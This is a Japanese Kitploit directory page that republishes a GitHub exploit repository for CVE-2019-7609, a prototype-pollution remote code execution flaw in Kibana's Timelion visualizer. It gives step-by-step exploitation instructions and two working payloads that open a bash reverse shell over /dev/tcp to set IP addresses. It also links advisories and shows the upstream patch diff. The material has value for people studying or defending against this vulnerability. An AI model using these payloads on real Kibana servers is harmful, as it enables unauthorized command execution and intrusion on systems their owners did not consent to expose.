Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-7609 — Kibana 5.6.15 および 6.6.0 より前のバージョンの Timelion ビジュアライザーにおける RCE | Kitploit
ツール/GitHubGitHub/mpgn/cve-2019-7609
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用
GitHubmpgn/cve-2019-7609

CVE-2019-7609

Kibana 5.6.15 および 6.6.0 より前のバージョンの Timelion ビジュアライザーにおける RCE

リポジトリを見る
561216年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-7609

5.6.15より前のKibana、および6.6.1より前のKibanaには、Timelionビジュアライザーに任意のコード実行の欠陥があります。Timelionアプリケーションにアクセスできる攻撃者は、JavaScriptコードの実行を試みるリクエストを送信できます。これにより、攻撃者がホストシステム上のKibanaプロセスの権限で任意のコマンドを実行する可能性があります。

Found by @securityMB

注記: この攻撃をKibana 6.6.0でテストしましたが、動作しませんでした... 私の環境では、@securityMBの説明どおり、Kibana 6.6.0未満のバージョンのみが脆弱でした。

編集 2019/12/20: Canvasパネルにアクセスできない場合は、@Synacttivによるこの記事を確認してください。 https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

kibana

エクスプロイト

  1. Kibanaを開く
  2. 以下のペイロードのいずれかをTimelionビジュアライザーに貼り付ける
  3. 実行をクリックする
  4. 左側のパネルでCanvasをクリックする
  5. リバースシェルがポップアップ表示されるはずです! :)
  • @securityMBによるペイロード
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
  • @chybetaによるペイロード
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

詳細な分析(英語):

  • https://slides.com/securitymb/prototype-pollution-in-kibana/#/

セキュリティ勧告:

  • https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077

パッチ

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
ツールをダウンロード